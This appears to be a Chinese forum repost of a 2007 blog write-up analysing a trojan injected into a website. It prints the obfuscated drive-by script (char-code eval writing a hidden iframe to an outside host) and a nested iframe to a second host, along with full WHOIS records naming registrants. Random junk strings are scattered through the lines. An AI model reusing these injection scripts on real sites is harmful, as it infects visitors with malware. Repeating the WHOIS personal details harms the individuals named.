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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, }pL#C  
TaE&8;H#N  
http://www.areway.cn/?p=175 Uh8c!CA8:\  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 'n0u6hCSb  
          T{Y;-m  
<script>t=’60,105,102,114,97,109,101, w8>  
32,115,114,99,61,104,116,116,112,58,47,47, *:hHlH* t1  
102,114,101,101,46,117,45,117,117,117,46,99, Ph|\%P`>%  
110,47,101,114,114,111,114,46,104,116,109, )TV{n#n  
32,119,105,100,116,104,61,49,48,48,32,104, ~ (/OB w  
101,105,103,104,116,61,48,62,60,47,105,102, kqyPb$Wy  
114,97,109,101,62′; xix: = a  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Fi_JF;  
                                                                                                  euc|G Xs  
<script>t=’60,105,102,114,97,109,101,32,115, pv9Z-WCix$  
114,99,61,104,116,116,112,58,47,47,102,114, :{ Q[kYj  
101,101,46,117,45,117,117,117,46,99,110,47, wJKP=$6n_  
101,114,114,111,114,46,104,116,109,32,119, P<{N)H 2r  
105,100,116,104,61,49,48,48,32,104,101,105, C AvyS  
103,104,116,61,48,62,60,47,105,102,114,97, %^ z## 7^  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); z6f N)kw  
document.write(t);</script> /R% Xkb  
                                                                                                  =w <;tb  
<html xmlns=” }* s%|!{H  
http://www.w3.org/1999/xhtml A9L {c!|-  
“> eJ O+MurO  
<head> \>@QJ  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> LIZsDTU  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> % A8dO+W  
<title>首页 - 爱生活家庭网 7C"&f *lEi  
                                                                                                                                                    ]E!b&  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 EvQMt0[?EW  
转换字符串后的大概内容是(谁点击后果自付): m0zbG1OE  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… dZ"w2ho  
                                                                                                                                  N(@B3%H2/J  
查询玉米u-uuu.cn的详细信息: oe*Y(T\G  
Domain Name: u-uuu.cn C`LHFqv  
ROID: 20070901s10001s64972306-cn F vt5vQ  
Domain Status: ok G34fxhh  
Registrant Organization: 王雷 >^5U XQr  
Registrant Name: 王雷 MhXJ /bup  
Administrative Email: czlovexs@126.com =2rkaBFC  
Sponsoring Registrar: 北京万网志成科技有限公司 Sdn4y(&TP  
Name Server:ns.yovole.com ./# F,^F2  
Name Server:ns1.yovole.com -SGo E=  
Registration Date: 2007-09-01 17:54 g=5vnY  
Expiration Date: 2008-09-01 17:54 [@LA<Z_  
最后PING了一下地址 都没有什么…. y>YQx\mK  
                                                                                                &W@#p G  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. y6C3u5`  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> XD=p:Ezh  
<script language=”javascript” src=” VQ,;~^Td  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script aUTXg60l*  
> +i0j3.  
这个玉米应该有可能是木马作者的: B !}/4"  
foafau.info的详细信息: ;Or]x?-  
Access to INFO WHOIS information is provided to assist persons in 4ZAnq{nR4  
determining the contents of a domain name registration record in the PZjK6]N\  
Afilias registry database. The data in this record is provided by "f5neW  
Afilias Limited for informational purposes only, and Afilias does not : 3 aZ_  
guarantee its accuracy.  This service is intended only for query-based z:7 i@m  
access. You agree that you will use this data only for lawful purposes c>}f y  
and that, under no circumstances will you use this data to: (a) allow, v:7_ZD6kR  
enable, or otherwise support the transmission by e-mail, telephone, or gf\F%VmSN  
facsimile of mass unsolicited, commercial advertising or solicitations lc qpwSk  
to entities other than the data recipient’s own existing customers; or )GC9%mF;  
(b) enable high volume, automated, electronic processes that send Uxl7O4J@H  
queries or data to the systems of Registry Operator, a Registrar, or } S,KUH.  
Afilias except as reasonably necessary to register domain names or #i1z&b#@  
modify existing registrations. All rights reserved. Afilias reserves zY^QZceq"  
the right to modify these terms at any time. By submitting this query, Y$\c_#/]  
you agree to abide by this policy. XJI ff$K  
Domain ID:D22418703-LRMS 8v V<A*`  
Domain Name:FOAFAU.INFO )U5Ba^"fI  
Created On:20-Nov-2007 16:05:42 UTC WPpS?  
Last Updated On:20-Nov-2007 16:05:44 UTC X<*-d6?gD`  
Expiration Date:20-Nov-2008 16:05:42 UTC 1>IA9]D7  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) =(cfo_B@K  
Status:CLIENT DELETE PROHIBITED 8uD%  
Status:CLIENT RENEW PROHIBITED EjDr   
Status:CLIENT TRANSFER PROHIBITED j+6`nN7L  
Status:CLIENT UPDATE PROHIBITED %~$coZY^  
Status:TRANSFER PROHIBITED "t!_b ma  
Registrant ID:GODA-040110615 +{dJGPoY]p  
Registrant Name:liu hong La 9:qpj  
Registrant Organization: _>=QZ`!r  
Registrant Street1:beijing z1vSt[s  
Registrant Street2: X7Z=@d(  
Registrant Street3: :)g}x&A^$  
Registrant City:beijing Y0Bd[  
Registrant State/Province: H2oD0f|  
Registrant Postal Code:100000 ,\^RyHg  
Registrant Country:CN NS3qNj  
Registrant Phone:+86.860108888777  57`*5X  
Registrant Phone Ext.: t*dd/a  
Registrant FAX: ]~d!<x#+  
Registrant FAX Ext.: }h=}!R'm   
Registrant Email:bbbshiji@163.com r t\eze_5A  
Admin ID:GODA-240110615 sOb=+u$$9  
Admin Name:liu hong K^f&+`v6_  
Admin Organization: 2}xvM"k=k  
Admin Street1:beijing $dkkgsw 7  
Admin Street2: ToE^%J4  
Admin Street3: s.j6" Q[W  
Admin City:beijing 2'T uS?  
Admin State/Province: :vo#(  
Admin Postal Code:100000 C $*#<<G  
Admin Country:CN qku}cWD9/_  
Admin Phone:+86.860108888777 R Y ";SfYb  
Admin Phone Ext.: a"bael  
Admin FAX: H*R4AE0  
Admin FAX Ext.: 8L _]_  
Admin Email:bbbshiji@163.com v FWg0 $,  
Billing ID:GODA-340110615 ;tG@ 6  
Billing Name:liu hong LnlDCbF;!  
Billing Organization: P`TJqJiY~  
Billing Street1:beijing >(BAIjF E\  
Billing Street2: u.9syr  
Billing Street3: {}DoRp q=  
Billing City:beijing uB>OS 1=  
Billing State/Province: 3\E G  
Billing Postal Code:100000 .g8db d  
Billing Country:CN ,]H2F']4Z  
Billing Phone:+86.860108888777 {No Y`j5S  
Billing Phone Ext.: G^&P'*  
Billing FAX: zya2 O?s  
Billing FAX Ext.: 3u@=]0ZN  
Billing Email:bbbshiji@163.com "?r_A*U  
Tech ID:GODA-140110615 *EllE+M{n  
Tech Name:liu hong W+`T:Mgh  
Tech Organization: LyNLz m5  
Tech Street1:beijing @;`d\lQ  
Tech Street2: M=#'+CF}W  
Tech Street3: . l-eJ  
Tech City:beijing D V=xqC6}  
Tech State/Province: ;Yu|LaI\<m  
Tech Postal Code:100000 !.@F,wZvY  
Tech Country:CN i(an]%'v  
Tech Phone:+86.860108888777 kJk6lPSqi7  
Tech Phone Ext.: b/6!>qMMk%  
Tech FAX: k4+Q$3"  
Tech FAX Ext.: f`bRg8v  
Tech Email:bbbshiji@163.com |DkK7gw  
Name Server:NS27.DOMAINCONTROL.COM 0+3{fD/  
Name Server:NS28.DOMAINCONTROL.COM fp?cb2'7  
Name Server: <Wa7$hF  
Name Server: ^ RIWW0  
Name Server: Y^-D'2P]P  
Name Server: =cWg 39$(I  
Name Server: I~) A!vp  
Name Server: NT;cTa=;  
Name Server: cxpG6c  
Name Server: 5#B M  
Name Server: 9^1li2zk{  
Name Server: Tu&W7aoX5  
Name Server: H{ I,m-  
                                                                                                          Kdr} 7#c  
接着下载每个文件里面的代码: $8WeWmY  
一步一步看.. *yqke<o9)  
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X3R:^ff\  
V#TNv0&0  
<K {|#ND#  
8)XAdAr  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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